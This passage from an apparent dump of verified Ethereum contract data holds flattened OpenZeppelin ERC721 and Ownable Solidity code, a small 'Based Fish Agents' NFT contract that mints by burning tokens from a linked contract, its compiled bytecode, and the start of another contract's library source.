given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface WireContract { function balanceOf(address owner, uint id) external view returns (uint balance); function burn(address user, uint count) external; } contract BasedFishMafiaAgent is ERC721Enumerable, Ownable { WireContract private constant m_wire = WireContract(address(0x805EA79E3c0C7837cFE8f84EC09eA67d43465Da1)); string private m_baseURI; uint private m_token_count; uint public constant maxSupply = 1870; string public PROVENANCE = "085231d6beb8d8ffe237d13d9f92cdc3bdf6808d79a4faecaf7e8dce3ff18c23"; function setProvenanceHash(string memory provenanceHash) public onlyOwner { PROVENANCE = provenanceHash; } constructor() ERC721("Based Fish Agents", "BFA") { } function mint(uint count) external { require(m_wire.balanceOf(msg.sender, 0) >= count, "not enough wires in this wallet"); for (uint i = 0; i < count; i++) { _safeMint(msg.sender, m_token_count++); } m_wire.burn(msg.sender, count); } function setBaseURI(string memory baseURI) external onlyOwner { m_baseURI = baseURI; } function _baseURI() internal view virtual override returns (string memory) { return m_baseURI; } }
0x608060405234801561001057600080fd5b50600436106101985760003560e01c80636373a6b1116100e3578063a22cb4651161008c578063d5abeb0111610066578063d5abeb0114610339578063e985e9c514610342578063f2fde38b1461037e57600080fd5b8063a22cb46514610300578063b88d4fde14610313578063c87b56dd1461032657600080fd5b80638da5cb5b116100bd5780638da5cb5b146102d457806395d89b41146102e5578063a0712d68146102ed57600080fd5b80636373a6b1146102b157806370a08231146102b9578063715018a6146102cc57600080fd5b806323b872dd116101455780634f6ccce71161011f5780634f6ccce71461027857806355f804b31461028b5780636352211e1461029e57600080fd5b806323b872dd1461023f5780632f745c591461025257806342842e0e1461026557600080fd5b8063095ea7b311610176578063095ea7b314610205578063109695231461021a57806318160ddd1461022d57600080fd5b806301ffc9a71461019d57806306fdde03146101c5578063081812fc146101da575b600080fd5b6101b06101ab366004611fbb565b610391565b60405190151581526020015b60405180910390f35b6101cd6103ed565b6040516101bc9190612125565b6101ed6101e836600461203e565b61047f565b6040516001600160a01b0390911681526020016101bc565b610218610213366004611f91565b61052a565b005b610218610228366004611ff5565b61065c565b6008545b6040519081526020016101bc565b61021861024d366004611e9d565b6106cd565b610231610260366004611f91565b610754565b610218610273366004611e9d565b6107fc565b61023161028636600461203e565b610817565b610218610299366004611ff5565b6108bb565b6101ed6102ac36600461203e565b610928565b6101cd6109b3565b6102316102c7366004611e4f565b610a41565b610218610adb565b600a546001600160a01b03166101ed565b6101cd610b41565b6102186102fb36600461203e565b610b50565b61021861030e366004611f55565b610d04565b610218610321366004611ed9565b610d0f565b6101cd61033436600461203e565b610d9d565b61023161074e81565b6101b0610350366004611e6a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b61021861038c366004611e4f565b610e86565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d630000000000000000000000000000000000000000000000000000000014806103e757506103e782610f68565b92915050565b6060600080546103fc906121a7565b80601f0160208091040260200160405190810160405280929190818152602001828054610428906121a7565b80156104755780601f1061044a57610100808354040283529160200191610475565b820191906000526020600020905b81548152906001019060200180831161045857829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661050e5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061053582610928565b9050806001600160a01b0316836001600160a01b031614156105bf5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610505565b336001600160a01b03821614806105db57506105db8133610350565b61064d5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610505565b610657838361104b565b505050565b600a546001600160a01b031633146106b65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610505565b80516106c990600d906020840190611d06565b5050565b6106d733826110d1565b6107495760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610505565b6106578383836111d9565b600061075f83610a41565b82106107d35760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610505565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b61065783838360405180602001604052806000815250610d0f565b600061082260085490565b82106108965760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610505565b600882815481106108a9576108a96122d5565b90600052602060002001549050919050565b600a546001600160a01b031633146109155760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610505565b80516106c990600b906020840190611d06565b6000818152600260205260408120546001600160a01b0316806103e75760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610505565b600d80546109c0906121a7565b80601f01602080910402602001604051908101604052809291908181526020018280546109ec906121a7565b8015610a395780601f10610a0e57610100808354040283529160200191610a39565b820191906000526020600020905b815481529060010190602001808311610a1c57829003601f168201915b505050505081565b60006001600160a01b038216610abf5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610505565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610b355760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610505565b610b3f60006113c9565b565b6060600180546103fc906121a7565b6040517efdd58e00000000000000000000000000000000000000000000000000000000815233600482015260006024820152819073805ea79e3c0c7837cfe8f84ec09ea67d43465da19062fdd58e9060440160206040518083038186803b158015610bba57600080fd5b505afa158015610bce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf29190612057565b1015610c405760405162461bcd60e51b815260206004820152601f60248201527f6e6f7420656e6f75676820776972657320696e20746869732077616c6c6574006044820152606401610505565b60005b81811015610c7c57600c8054610c6a913391906000610c61836121fb565b91905055611433565b80610c74816121fb565b915050610c43565b506040517f9dc29fac0000000000000000000000000000000000000000000000000000000081523360048201526024810182905273805ea79e3c0c7837cfe8f84ec09ea67d43465da190639dc29fac90604401600060405180830381600087803b158015610ce957600080fd5b505af1158015610cfd573d6000803e3d6000fd5b5050505050565b6106c933838361144d565b610d1933836110d1565b610d8b5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610505565b610d978484848461153a565b50505050565b6000818152600260205260409020546060906001600160a01b0316610e2a5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610505565b6000610e346115c3565b90506000815111610e545760405180602001604052806000815250610e7f565b80610e5e846115d2565b604051602001610e6f9291906120ba565b6040516020818303038152906040525b9392505050565b600a546001600160a01b03163314610ee05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610505565b6001600160a01b038116610f5c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610505565b610f65816113c9565b50565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd000000000000000000000000000000000000000000000000000000001480610ffb57507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806103e757507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316146103e7565b600081815260046020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038416908117909155819061109882610928565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b031661115b5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610505565b600061116683610928565b9050806001600160a01b0316846001600160a01b031614806111a15750836001600160a01b03166111968461047f565b6001600160a01b0316145b806111d157506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166111ec82610928565b6001600160a01b0316146112685760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201527f6f776e65720000000000000000000000000000000000000000000000000000006064820152608401610505565b6001600160a01b0382166112e35760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610505565b6112ee838383611704565b6112f960008261104b565b6001600160a01b0383166000908152600360205260408120805460019290611322908490612164565b90915550506001600160a01b0382166000908152600360205260408120805460019290611350908490612138565b909155505060008181526002602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6106c98282604051806020016040528060008152506117bc565b816001600160a01b0316836001600160a01b031614156114af5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610505565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6115458484846111d9565b61155184848484611845565b610d975760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610505565b6060600b80546103fc906121a7565b60608161161257505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b811561163c5780611626816121fb565b91506116359050600a83612150565b9150611616565b60008167ffffffffffffffff81111561165757611657612304565b6040519080825280601f01601f191660200182016040528015611681576020820181803683370190505b5090505b84156111d157611696600183612164565b91506116a3600a86612234565b6116ae906030612138565b60f81b8183815181106116c3576116c36122d5565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506116fd600a86612150565b9450611685565b6001600160a01b03831661175f5761175a81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611782565b816001600160a01b0316836001600160a01b031614611782576117828382611a10565b6001600160a01b0382166117995761065781611aad565b826001600160a01b0316826001600160a01b031614610657576106578282611b5c565b6117c68383611ba0565b6117d36000848484611845565b6106575760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610505565b60006001600160a01b0384163b15611a05576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a02906118a29033908990889088906004016120e9565b602060405180830381600087803b1580156118bc57600080fd5b505af192505050801561190a575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261190791810190611fd8565b60015b6119ba573d808015611938576040519150601f19603f3d011682016040523d82523d6000602084013e61193d565b606091505b5080516119b25760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610505565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a02000000000000000000000000000000000000000000000000000000001490506111d1565b506001949350505050565b60006001611a1d84610a41565b611a279190612164565b600083815260076020526040902054909150808214611a7a576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611abf90600190612164565b60008381526009602052604081205460088054939450909284908110611ae757611ae76122d5565b906000526020600020015490508060088381548110611b0857611b086122d5565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611b4057611b406122a6565b6001900381819060005260206000200160009055905550505050565b6000611b6783610a41565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611bf65760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610505565b6000818152600260205260409020546001600160a01b031615611c5b5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610505565b611c6760008383611704565b6001600160a01b0382166000908152600360205260408120805460019290611c90908490612138565b909155505060008181526002602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611d12906121a7565b90600052602060002090601f016020900481019282611d345760008555611d7a565b82601f10611d4d57805160ff1916838001178555611d7a565b82800160010185558215611d7a579182015b82811115611d7a578251825591602001919060010190611d5f565b50611d86929150611d8a565b5090565b5b80821115611d865760008155600101611d8b565b600067ffffffffffffffff80841115611dba57611dba612304565b604051601f85017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908282118183101715611e0057611e00612304565b81604052809350858152868686011115611e1957600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611e4a57600080fd5b919050565b600060208284031215611e6157600080fd5b610e7f82611e33565b60008060408385031215611e7d57600080fd5b611e8683611e33565b9150611e9460208401611e33565b90509250929050565b600080600060608486031215611eb257600080fd5b611ebb84611e33565b9250611ec960208501611e33565b9150604084013590509250925092565b60008060008060808587031215611eef57600080fd5b611ef885611e33565b9350611f0660208601611e33565b925060408501359150606085013567ffffffffffffffff811115611f2957600080fd5b8501601f81018713611f3a57600080fd5b611f4987823560208401611d9f565b91505092959194509250565b60008060408385031215611f6857600080fd5b611f7183611e33565b915060208301358015158114611f8657600080fd5b809150509250929050565b60008060408385031215611fa457600080fd5b611fad83611e33565b946020939093013593505050565b600060208284031215611fcd57600080fd5b8135610e7f81612333565b600060208284031215611fea57600080fd5b8151610e7f81612333565b60006020828403121561200757600080fd5b813567ffffffffffffffff81111561201e57600080fd5b8201601f8101841361202f57600080fd5b6111d184823560208401611d9f565b60006020828403121561205057600080fd5b5035919050565b60006020828403121561206957600080fd5b5051919050565b6000815180845261208881602086016020860161217b565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b600083516120cc81846020880161217b565b8351908301906120e081836020880161217b565b01949350505050565b60006001600160a01b0380871683528086166020840152508360408301526080606083015261211b6080830184612070565b9695505050505050565b602081526000610e7f6020830184612070565b6000821982111561214b5761214b612248565b500190565b60008261215f5761215f612277565b500490565b60008282101561217657612176612248565b500390565b60005b8381101561219657818101518382015260200161217e565b83811115610d975750506000910152565b600181811c908216806121bb57607f821691505b602082108114156121f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561222d5761222d612248565b5060010190565b60008261224357612243612277565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7fffffffff0000000000000000000000000000000000000000000000000000000081168114610f6557600080fdfea264697066735822122037df37408a04f4ffd5f1fb3ab42ce640a721bec3d55cb89a6821f7b920fc78e564736f6c63430008070033
[ 5 ]
0xF26c762a9Fb1757050871DbDbd4fD6062eabFF5d
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 